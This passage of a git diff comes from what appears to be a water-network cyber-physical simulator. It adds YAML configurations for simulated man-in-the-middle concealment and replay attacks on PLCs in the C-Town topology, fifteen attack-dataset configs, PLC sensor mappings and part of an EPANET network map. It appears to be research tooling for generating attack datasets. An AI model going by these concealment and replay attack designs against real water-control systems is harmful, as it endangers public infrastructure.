b/examples/anytown_topology/anytown_plcs.yaml index 06e01314..fc95539a 100644 --- a/examples/anytown_topology/anytown_plcs.yaml +++ b/examples/anytown_topology/anytown_plcs.yaml @@ -7,4 +7,5 @@ - T41 - name: PLC3 sensors: - - T42 \ No newline at end of file + - T42 + diff --git a/examples/ctown_topology/ctown_config.yaml b/examples/ctown_topology/ctown_config.yaml index 510e5f53..fea2a7ff 100644 --- a/examples/ctown_topology/ctown_config.yaml +++ b/examples/ctown_topology/ctown_config.yaml @@ -1,10 +1,13 @@ inp_file: ctown_map.inp -#iterations: 2880 -iterations: 20 +iterations: 2880 +#iterations: 300 network_topology_type: complex plcs: !include ctown_plcs.yaml log_level: debug simulator: epynet demand: pdd -attacks: !include ctown_concealment_mitm_path.yaml \ No newline at end of file +attacks: !include ctown_unconstrained_blackbox_concealment_mitm.yaml +#attacks: !include ctown_concealment_mitm_value.yaml +#attacks: !include ctown_payload_replay_conceal.yaml +#ma attacks: !include ctown_network_replay_conceal.yaml diff --git a/examples/ctown_topology/ctown_network_replay.yaml b/examples/ctown_topology/ctown_network_replay.yaml new file mode 100644 index 00000000..21aecd1e --- /dev/null +++ b/examples/ctown_topology/ctown_network_replay.yaml @@ -0,0 +1,18 @@ +network_attacks: +- name: plc4attack + type: concealment_mitm + tags: + - tag: T1 + offset: 10.0 + target: PLC2 + concealment_data: + type: payload_replay + capture_start: 10 + capture_end: 30 + replay_start: 40 + trigger: + start: 9 + end: 61 + #start: 5 + #end: 50 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/ctown_network_replay_conceal.yaml b/examples/ctown_topology/ctown_network_replay_conceal.yaml new file mode 100644 index 00000000..3bc25886 --- /dev/null +++ b/examples/ctown_topology/ctown_network_replay_conceal.yaml @@ -0,0 +1,16 @@ +network_attacks: +- name: plc2attack + type: concealment_mitm + tags: + - tag: T1 + offset: 10.0 + target: PLC2 + concealment_data: + type: network_replay + capture_start: 650 + capture_end: 720 + replay_start: 722 + trigger: + start: 648 + end: 792 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/ctown_payload_replay_conceal.yaml b/examples/ctown_topology/ctown_payload_replay_conceal.yaml new file mode 100644 index 00000000..b2458e00 --- /dev/null +++ b/examples/ctown_topology/ctown_payload_replay_conceal.yaml @@ -0,0 +1,18 @@ +network_attacks: +- name: plc4attack + type: concealment_mitm + tags: + - tag: T1 + offset: 10.0 + target: PLC2 + concealment_data: + type: payload_replay + capture_start: 650 + capture_end: 720 + replay_start: 722 + trigger: + start: 648 + end: 792 + #start: 5 + #end: 50 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/ctown_plcs.yaml b/examples/ctown_topology/ctown_plcs.yaml index e031626a..bde17657 100644 --- a/examples/ctown_topology/ctown_plcs.yaml +++ b/examples/ctown_topology/ctown_plcs.yaml @@ -1,4 +1,4 @@ -- name: PLC1 # PLC1, PU1F PU2F J280 J269 , PU1 PU2 +- name: PLC1 sensors: - PU1F - PU2F @@ -7,10 +7,10 @@ actuators: - PU1 - PU2 -- name: PLC2 # PLC2, T1, +- name: PLC2 sensors: - T1 -- name: PLC3 # PLC3, T2 V2F J300 J256 J289 J415 J14 J422 PU4F PU5F PU6F PU7F , V2 PU4 PU5 PU6 PU7 +- name: PLC3 sensors: - T2 - V2F @@ -33,7 +33,6 @@ - name: PLC4 # PLC4, T3, sensors: - T3 - - T4 - name: PLC5 # PLC5, PU8F PU10F PU11F J302 J306 J307 J317, PU8 PU10 PU11 sensors: - PU8F @@ -47,9 +46,9 @@ - PU8 - PU10 - PU11 -#- name: PLC6 # PLC6, T4, -# sensors: -# - T4 +- name: PLC6 # PLC6, T4, + sensors: + - T4 - name: PLC7 # PLC7, T5, sensors: - T5 diff --git a/examples/ctown_topology/ctown_unconstrained_blackbox_concealment_mitm.yaml b/examples/ctown_topology/ctown_unconstrained_blackbox_concealment_mitm.yaml new file mode 100644 index 00000000..9bfb0156 --- /dev/null +++ b/examples/ctown_topology/ctown_unconstrained_blackbox_concealment_mitm.yaml @@ -0,0 +1,7 @@ +network_attacks: +- name: plc3attack + type: unconstrained_blackbox_concealment_mitm + trigger: + start: 648 + end: 792 + type: time diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_01.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_01.yaml new file mode 100644 index 00000000..279bea26 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_01.yaml @@ -0,0 +1,11 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +log_level: debug +simulator: epynet +demand: pdd +output_path: attack_output_01 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_01.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_02.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_02.yaml new file mode 100644 index 00000000..e43d0af4 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_02.yaml @@ -0,0 +1,11 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +log_level: debug +simulator: epynet +demand: pdd +output_path: attack_output_02 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_02.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_03.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_03.yaml new file mode 100644 index 00000000..969e4785 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_03.yaml @@ -0,0 +1,11 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +log_level: debug +simulator: epynet +demand: pdd +output_path: attack_output_03 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_03.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_04.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_04.yaml new file mode 100644 index 00000000..15f74a20 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_04.yaml @@ -0,0 +1,11 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +log_level: debug +simulator: epynet +demand: pdd +output_path: attack_output_04 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_04.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_05.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_05.yaml new file mode 100644 index 00000000..2019e583 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_05.yaml @@ -0,0 +1,12 @@ +inp_file: ctown_map.inp +#iterations: 2880 +iterations: 60 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +log_level: debug +simulator: epynet +demand: pdd +output_path: attack_output_05 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_05.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_06.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_06.yaml new file mode 100644 index 00000000..5e53419c --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_06.yaml @@ -0,0 +1,11 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +log_level: debug +simulator: epynet +demand: pdd +output_path: attack_output_06 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_06.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_07.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_07.yaml new file mode 100644 index 00000000..56905201 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_07.yaml @@ -0,0 +1,11 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +log_level: debug +simulator: epynet +demand: pdd +output_path: attack_output_07 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_07.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_08.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_08.yaml new file mode 100644 index 00000000..a6089282 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_08.yaml @@ -0,0 +1,11 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +log_level: debug +simulator: epynet +demand: pdd +output_path: attack_output_08 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_08.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_09.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_09.yaml new file mode 100644 index 00000000..1d20a390 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_09.yaml @@ -0,0 +1,11 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +log_level: debug +simulator: epynet +demand: pdd +output_path: attack_output_09 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_09.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_10.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_10.yaml new file mode 100644 index 00000000..c511b4cb --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_10.yaml @@ -0,0 +1,10 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +simulator: epynet +demand: pdd +output_path: attack_output_10 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_10.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_11.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_11.yaml new file mode 100644 index 00000000..db21d302 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_11.yaml @@ -0,0 +1,10 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +simulator: epynet +demand: pdd +output_path: attack_output_11 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_11.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_12.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_12.yaml new file mode 100644 index 00000000..4a6f6089 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_12.yaml @@ -0,0 +1,10 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +simulator: epynet +demand: pdd +output_path: attack_output_12 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_12.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_13.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_13.yaml new file mode 100644 index 00000000..3120b25e --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_13.yaml @@ -0,0 +1,10 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +simulator: epynet +demand: pdd +output_path: attack_output_13 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_13.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_14.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_14.yaml new file mode 100644 index 00000000..14e68da5 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_14.yaml @@ -0,0 +1,10 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +simulator: epynet +demand: pdd +output_path: attack_output_10 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_14.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_config_15.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_15.yaml new file mode 100644 index 00000000..5313e320 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_config_15.yaml @@ -0,0 +1,10 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +simulator: epynet +demand: pdd +output_path: attack_output_15 +demand_patterns: events/demands_ctown_01.csv +initial_tank_data: events/tanks_ctown_01.csv +attacks: !include dataset_attacks/attack_15.yaml \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_map.inp b/examples/ctown_topology/dataset/dataset_config_files/ctown_map.inp new file mode 100644 index 00000000..bfc61a14 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_map.inp @@ -0,0 +1,1650 @@ +[TITLE] + + +[JUNCTIONS] +;ID Elev Demand Pattern + J511 105.08 1.175912 DMA2_pat ; + J411 8.95 .8890401 DMA1_pat ; + J414 34.36 .9658645 DMA1_pat ; + J415 65 0 ; + J416 42.6 0 ; + J417 37.38 1.291233 DMA1_pat ; + J418 37.39 0 ; + J419 40.5 0 ; + J310 51.84 1.357483 DMA4_pat ; + J311 55.95 1.18173 DMA4_pat ; + J312 68.48 7.558805E-02 DMA4_pat ; + J313 67.66 .6900545 DMA4_pat ; + J314 14.94 1.437699 DMA1_pat ; + J315 16.03 1.317467 DMA1_pat ; + J316 12.98 .6225603 DMA1_pat ; + J318 53.67 1.603255 DMA4_pat ; + J319 39.29 1.45241 DMA4_pat ; + J210 7.01 9.372806E-02 DMA1_pat ; + J211 11.27 1.582595 DMA1_pat ; + J212 7.87 .6066978 DMA1_pat ; + J214 8.67 .8747806 DMA1_pat ; + J217 10.98 1.27852 DMA1_pat ; + J218 7.68 8.917417E-02 DMA1_pat ; + J219 52 .9874303 DMA5_pat ; + J110 15.92 .781167 DMA1_pat ; + J420 39.99 0 ; + J421 37.09 1.037828 DMA1_pat ; + J422 38.81 0 ; + J1153 22.14 .439655 DMA1_pat ; + J1154 14.61 .46557 DMA1_pat ; + J1155 15.54 1.383003 DMA1_pat ; + J425 64.42 0 ; + J426 72.71 0 ; + J1157 22.21 1.643489 DMA1_pat ; + J427 67.65 0 ; + J1158 28.25 .37811 DMA1_pat ; + J428 16.2 1.158526 DMA1_pat ; + J429 12.56 1.633339 DMA1_pat ; + J320 46.73 .4065523 DMA4_pat ; + J321 44.59 .8897884 DMA4_pat ; + J322 48.02 .1772828 DMA4_pat ; + J324 42.38 1.665691 DMA4_pat ; + J1056 7.64 1.12696 DMA1_pat ; + J327 49.68 2.617306E-02 DMA4_pat ; + J1058 13.58 .9586397 DMA1_pat ; + J328 45.69 .1667536 DMA4_pat ; + J329 44.05 .1717045 DMA4_pat ; + J220 80 1.331474 DMA5_pat ; + J221 97.07 .4741339 DMA4_pat ; + J225 13.33 7.608195E-02 DMA1_pat ; + J226 11.1 .4929547 DMA1_pat ; + J50 71.8 .6366845 DMA4_pat ; + J51 77.42 .5016175 DMA4_pat ; + J53 85 1.580952 DMA5_pat ; + J54 80 1.633049 DMA5_pat ; + J128 85.26 .6689573 DMA2_pat ; + J55 71 .4638 DMA5_pat ; + J129 62.85 .2674025 DMA2_pat ; + J56 72 .2713695 DMA5_pat ; + J57 59 1.077645 DMA5_pat ; + J58 76 .6834553 DMA5_pat ; + J59 57 .6879447 DMA5_pat ; + J1160 24.91 1.187884 DMA1_pat ; + J1161 25.25 .543677 DMA1_pat ; + J431 16.9 1.055298 DMA1_pat ; + J432 19.88 .3459353 DMA1_pat ; + J433 27.35 .3100225 DMA1_pat ; + J434 16.48 .9722651 DMA1_pat ; + J435 12.15 .1345244 DMA1_pat ; + J436 17.68 .7632859 DMA1_pat ; + J438 10.43 1.50955 DMA1_pat ; + J1169 55.42 .4356139 DMA3_pat ; + J439 17.78 1.308687 DMA1_pat ; + J330 58.25 .6315042 DMA4_pat ; + J331 59.26 .482775 DMA4_pat ; + J332 44.18 1.324 DMA1_pat ; + J333 25.7 1.052904 DMA1_pat ; + J334 29.28 1.04607 DMA1_pat ; + J335 25.08 .7140939 DMA1_pat ; + J336 23.81 .1632897 DMA1_pat ; + J337 22.11 .935067 DMA1_pat ; + J231 71.9 1.157476 DMA4_pat ; + J232 69.81 1.522863 DMA4_pat ; + J233 74.23 0 ; + J234 64.06 .03 DMA2_pat ; + J236 58 .9056011 DMA5_pat ; + J237 73.14 1.52694 DMA5_pat ; + J130 54.52 .717102 DMA2_pat ; + J131 88.05 1.129913 DMA2_pat ; + J132 74.55 .8374234 DMA2_pat ; + J133 69.58 .8562292 DMA2_pat ; + J60 55 .7716334 DMA5_pat ; + J134 80.7 .5891212 DMA2_pat ; + J135 70 .6747236 DMA2_pat ; + J62 60 .4495525 DMA5_pat ; + J64 82 9.265584E-02 DMA5_pat ; + J65 82 .4064086 DMA5_pat ; + J66 72 1.631797 DMA5_pat ; + J67 81 .1015269 DMA5_pat ; + J68 73 .6504859 DMA5_pat ; + J69 71 .6083255 DMA5_pat ; + J1170 54.54 .8164911 DMA3_pat ; + J441 69 0 ; + J444 29.46 .7907653 DMA1_pat ; + J341 14.89 .4287795 DMA1_pat ; + J344 54.7 1.04792 DMA3_pat ; + J345 49.97 .9034503 DMA3_pat ; + J347 54.4 .2605036 DMA3_pat ; + J348 62.18 1.564242 DMA4_pat ; + J349 36.41 1.090832 DMA4_pat ; + J241 70 .8434789 DMA5_pat ; + J242 65 .6507859 DMA5_pat ; + J243 60 .1789589 DMA5_pat ; + J244 70 1.306659 DMA5_pat ; + J245 71 .7660681 DMA5_pat ; + J246 55 1.256147 DMA5_pat ; + J247 57 .9934909 DMA5_pat ; + J248 54 1.387884 DMA5_pat ; + J249 50 3.126389E-02 DMA5_pat ; + J142 5.53 .3506145 DMA1_pat ; + J143 6.3 .1232556 DMA1_pat ; + J70 70 .1757545 DMA5_pat ; + J144 4.17 .5528242 DMA1_pat ; + J71 77 .2137497 DMA5_pat ; + J72 75 4.019444E-04 DMA5_pat ; + J73 80 .8946567 DMA5_pat ; + J74 75 1.095092 DMA5_pat ; + J76 70 .9066901 DMA5_pat ; + J77 76 1.37902 DMA5_pat ; + J78 60.56 .1364892 DMA4_pat ; + J350 33.82 .3198709 DMA3_pat ; + J351 25.51 1.131522 DMA4_pat ; + J352 47.55 .7570131 DMA4_pat ; + J353 22.64 .5950387 DMA4_pat ; + J354 18.68 .2499683 DMA4_pat ; + J355 28.87 1.173993 DMA4_pat ; + J358 22.3 1.547977 DMA4_pat ; + J359 17.57 .8836875 DMA4_pat ; + J250 67 .1494022 DMA5_pat ; + J251 75.19 1.262882 DMA2_pat ; + J252 83.82 .6697367 DMA2_pat ; + J253 74.69 .7697906 DMA2_pat ; + J254 74.59 .8202762 DMA2_pat ; + J257 105.58 .3460456 DMA2_pat ; + J154 43.69 .54956 DMA1_pat ; + J155 44.41 .1590483 DMA1_pat ; + J82 70.87 .9829875 DMA4_pat ; + J156 56.16 .2831225 DMA1_pat ; + J83 61.07 1.546028 DMA4_pat ; + J84 43.82 .1632164 DMA5_pat ; + J85 45 .7397709 DMA5_pat ; + J159 37.41 .4549114 DMA1_pat ; + J86 50 1.454245 DMA5_pat ; + J87 42.63 1.251146 DMA5_pat ; + J89 68.29 .4549039 DMA2_pat ; + J360 20.71 1.122745 DMA4_pat ; + J361 26.67 .427715 DMA4_pat ; + J362 43.66 .1498275 DMA4_pat ; + J363 72.23 0 ; + J364 65 0 ; + J365 29.83 1.316882 DMA1_pat ; + J366 14.46 .49543 DMA1_pat ; + J1208 42.74 .392137 DMA4_pat ; + J367 13.6 .8007911 DMA1_pat ; + J369 20.27 .4243364 DMA1_pat ; + J160 43.69 .5676775 DMA1_pat ; + J161 22.81 7.488973E-02 DMA1_pat ; + J162 36.88 .8040467 DMA1_pat ; + J163 16.2 .343362 DMA1_pat ; + J164 17.34 1.440891 DMA1_pat ; + J91 64.09 .9810478 DMA2_pat ; + J165 16.69 1.258181 DMA1_pat ; + J166 23.95 1.546472 DMA1_pat ; + J167 23.91 .5516948 DMA1_pat ; + J94 30.75 .904902 DMA3_pat ; + J95 22.56 .1344856 DMA1_pat ; + J96 30 1.057287 DMA1_pat ; + J97 34.19 .6833945 DMA1_pat ; + J976 6.3 1.600705 DMA1_pat ; + J571 77.11 .1910389 DMA2_pat ; + J572 76.4 1.539075 DMA2_pat ; + J573 81.62 1.033683 DMA2_pat ; + J574 67.36 .5795442 DMA2_pat ; + J575 75.27 .2487428 DMA2_pat ; + J576 80.8 .7999637 DMA2_pat ; + J370 20.46 .365682 DMA1_pat ; + J371 68.81 0 ; + J372 23.2 .2173675 DMA1_pat ; + J373 27.22 4.814306E-02 DMA1_pat ; + J374 13.7 .5756528 DMA1_pat ; + J375 22.72 .9127809 DMA1_pat ; + J376 12.18 1.538258 DMA1_pat ; + J377 13.12 .8970772 DMA1_pat ; + J1219 14.48 .6773689 DMA1_pat ; + J379 10.25 1.412076 DMA1_pat ; + J171 8.81 1.377043 DMA1_pat ; + J172 6.25 1.120713 DMA1_pat ; + J173 13 1.203158 DMA1_pat ; + J174 6.11 1.661286 DMA1_pat ; + J175 6.84 .5663434 DMA1_pat ; + J177 13.14 .8253523 DMA1_pat ; + J179 15.01 .6882797 DMA1_pat ; + J580 113.08 1.158803 DMA2_pat ; + J486 86.11 .2984822 DMA2_pat ; + J487 79 .7048636 DMA2_pat ; + J488 89.16 .9052951 DMA2_pat ; + J489 85.02 1.357773 DMA2_pat ; + J381 36.02 .9015225 DMA4_pat ; + J1223 3.48 .7125556 DMA1_pat ; + J382 70.42 .848447 DMA4_pat ; + J384 42.51 0 ; + J385 76.6 0 ; + J180 8.77 .816384 DMA1_pat ; + J181 10.94 1.134699 DMA1_pat ; + J1024 5.83 1.477667 DMA1_pat ; + J183 13.28 .6175256 DMA1_pat ; + J1025 8.61 .5041625 DMA1_pat ; + J186 9.38 .4881114 DMA1_pat ; + J187 9.81 .2505189 DMA1_pat ; + J188 8.51 .8830353 DMA1_pat ; + J189 7.58 .3721031 DMA1_pat ; + J490 103.84 .9742156 DMA2_pat ; + J491 76.93 .6057645 DMA2_pat ; + J492 94.67 1.459958 DMA2_pat ; + J493 77.62 .7966903 DMA2_pat ; + J494 112.76 .3177222 DMA2_pat ; + J495 91.15 1.140104 DMA2_pat ; + J496 106.34 1.245693 DMA2_pat ; + J497 112.63 1.023225 DMA2_pat ; + J498 90.12 1.303565 DMA2_pat ; + J500 75.52 .2695728 DMA2_pat ; + J499 72.24 1.3463 DMA2_pat ; + J501 80.97 .3376972 DMA2_pat ; + J502 80.99 1.594604 DMA2_pat ; + J503 99.65 .1097517 DMA2_pat ; + J504 66.71 .1025369 DMA2_pat ; + J394 70.53 0 ; + J509 99.94 .6326745 DMA2_pat ; + J399 75 0 ; + J401 70 0 ; + J406 71.74 0 ; + J295 56.42 .2896222 DMA4_pat ; + J407 68 0 ; + J296 30.91 1.191361 DMA4_pat ; + J408 7.93 .8883706 DMA1_pat ; + J297 99.05 .9350156 DMA4_pat ; + J298 77.46 .3612225 DMA4_pat ; + J191 5.76 .7800094 DMA1_pat ; + J303 50.42 1.243924 DMA4_pat ; + J192 12.4 1.253851 DMA1_pat ; + J193 12.99 .6648872 DMA1_pat ; + J305 47.11 1.505165 DMA4_pat ; + J194 13.46 1.243345 DMA1_pat ; + J195 15.39 .1475992 DMA1_pat ; + J196 13.35 1.057619 DMA1_pat ; + J308 33.24 1.18838 DMA1_pat ; + J198 18.54 2.613722E-02 DMA1_pat ; + J200 15.75 .7185739 DMA1_pat ; + J199 16.26 .6699712 DMA1_pat ; + J201 44.86 .4588259 DMA1_pat ; + J202 10.41 1.64229 DMA1_pat ; + J203 11.03 1.337646 DMA1_pat ; + J204 21.51 1.160168 DMA1_pat ; + J205 16.66 .6959986 DMA1_pat ; + J206 14.12 1.224147 DMA1_pat ; + J207 18.86 .4619472 DMA1_pat ; + J208 11.25 .5943106 DMA1_pat ; + J101 28.65 .7224287 DMA1_pat ; + J102 46.96 1.574952 DMA1_pat ; + J109 17.47 .2025833 DMA1_pat ; + J1 16.82 1.076586 DMA1_pat ; + J2 11.97 .5797212 DMA1_pat ; + J3 29.02 .1740539 DMA1_pat ; + J4 20.88 .3090042 DMA1_pat ; + J5 22.75 .1294744 DMA1_pat ; + J6 15.25 .7212659 DMA1_pat ; + J7 24.91 1.598785 DMA1_pat ; + J8 31.17 .9033823 DMA1_pat ; + J9 31.89 .8239611 DMA1_pat ; + J10 14.62 1.621611 DMA1_pat ; + J11 18.43 .3629998 DMA1_pat ; + J12 29.27 .631652 DMA1_pat ; + J13 32.04 .6597406 DMA1_pat ; + J14 37.91 0 ; + J15 102.84 0 ; + J16 88.89 0 ; + J17 82.75 0 ; + J18 84.96 0 ; + J19 90.94 0 ; + J20 80 0 ; + J21 80 0 ; + J22 82.74 0 ; + J23 75.96 0 ; + J25 94.13 .1074853 DMA2_pat ; + J26 76.35 1.260154 DMA2_pat ; + J27 82.08 1.167524 DMA2_pat ; + J28 45 .8284517 DMA2_pat ; + J29 49 .2590595 DMA2_pat ; + J30 72.01 .3728958 DMA2_pat ; + J31 69.78 .5435734 DMA2_pat ; + J32 45 1.307481 DMA2_pat ; + J33 48 8.377139E-02 DMA2_pat ; + J34 50 .86336 DMA2_pat ; + J35 67.78 1.261716 DMA2_pat ; + J36 51.08 1.33445 DMA2_pat ; + J37 66.19 .5420092 DMA2_pat ; + J38 47 1.621215 DMA2_pat ; + J24 34.53 1.340445 DMA1_pat ; + J39 45.88 1.12471 DMA1_pat ; + J40 12.8 1.508549 DMA1_pat ; + J123 38.41 1.459633 DMA3_pat ; + J140 39.94 .694414 DMA3_pat ; + J141 41.45 .2051381 DMA3_pat ; + J157 31.49 1.590263 DMA3_pat ; + J158 25.88 1.328829 DMA3_pat ; + J168 40.21 1.160475 DMA3_pat ; + J170 46.87 .6693408 DMA3_pat ; + J176 50.64 2.716278E-02 DMA3_pat ; + J178 58.87 .2796047 DMA3_pat ; + J184 56.09 .2737236 DMA3_pat ; + J185 43.71 .8495334 DMA3_pat ; + J190 58.49 .6767712 DMA3_pat ; + J197 41.86 .1768897 DMA3_pat ; + J213 52.07 .4602056 DMA3_pat ; + J215 75.76 1.071745 DMA3_pat ; + J216 53.06 1.415167 DMA3_pat ; + J227 52.89 .8299486 DMA3_pat ; + J238 44.16 .3129586 DMA3_pat ; + J239 43.49 1.494361 DMA3_pat ; + J255 35.31 .6213573 DMA3_pat ; + J256 40 0 ; + J258 51.24 1.284721 DMA3_pat ; + J260 32.53 .3633339 DMA3_pat ; + J265 50.87 .7449886 DMA3_pat ; + J266 39.83 .3933797 DMA3_pat ; + J267 22.31 1.463974 DMA4_pat ; + J61 72 1.017388 DMA5_pat ; + J92 72 .6240537 DMA5_pat ; + J268 69.68 .6491698 DMA4_pat ; + J278 104.29 1.434316 DMA2_pat ; + J281 83.72 .9765631 DMA2_pat ; + J283 94.06 1.552599 DMA2_pat ; + J284 77.38 .8619875 DMA2_pat ; + J136 81.8 .5505014 DMA2_pat ; + J137 9.11 1.447423 DMA1_pat ; + J145 47.46 .4317684 DMA3_pat ; + J118 75 .4325689 DMA5_pat ; + J52 54.7 .2978225 DMA4_pat ; + J81 50 .578262 DMA2_pat ; + J88 45 4.176111E-03 DMA2_pat ; + J90 84 1.237237 DMA2_pat ; + J93 65 4.204435 DMA2_pat ; + J147 68 .4643159 DMA2_pat ; + J148 50 1.171617 DMA2_pat ; + J149 40 .6747745 DMA2_pat ; + J150 60 1.352619 DMA2_pat ; + J151 60 1.236301 DMA2_pat ; + J152 32 .7294397 DMA2_pat ; + J153 60 .1299675 DMA2_pat ; + J169 42 .6843861 DMA2_pat ; + J182 40 .5656253 DMA2_pat ; + J222 32 1.184257 DMA2_pat ; + J224 37 .5204803 DMA2_pat ; + J230 30 1.331289 DMA4_pat ; + J235 53 .2529269 DMA4_pat ; + J240 87 .9883186 DMA2_pat ; + J269 56 0 ; + J273 56 0 ; + J274 56 0 ; + J276 56 0 ; + J280 56 0 ; + J285 56 0 ; + J287 40 0 ; + J288 40 0 ; + J289 40 0 ; + J290 40 0 ; + J291 65 0 ; + J292 40 0 ; + J299 40 0 ; + J300 40 0 ; + J301 44 0 ; + J302 44 0 ; + J304 44 0 ; + J306 44 0 ; + J307 44 0 ; + J309 44 0 ; + J317 44 0 ; + J323 44 0 ; + +[RESERVOIRS] +;ID Head Pattern + R1 59 ; + +[TANKS] +;ID Elevation InitLevel MinLevel MaxLevel Diameter MinVol VolCurve + T1 71.5 3 0 6.5 31.3 0 ; + T2 65 .5 0 5.9 20.78 0 ; + T3 112.9 3 0 6.75 13.73 0 ; + T4 132.5 2.5 0 4.7 11.64 0 ; + T5 105.8 1.0 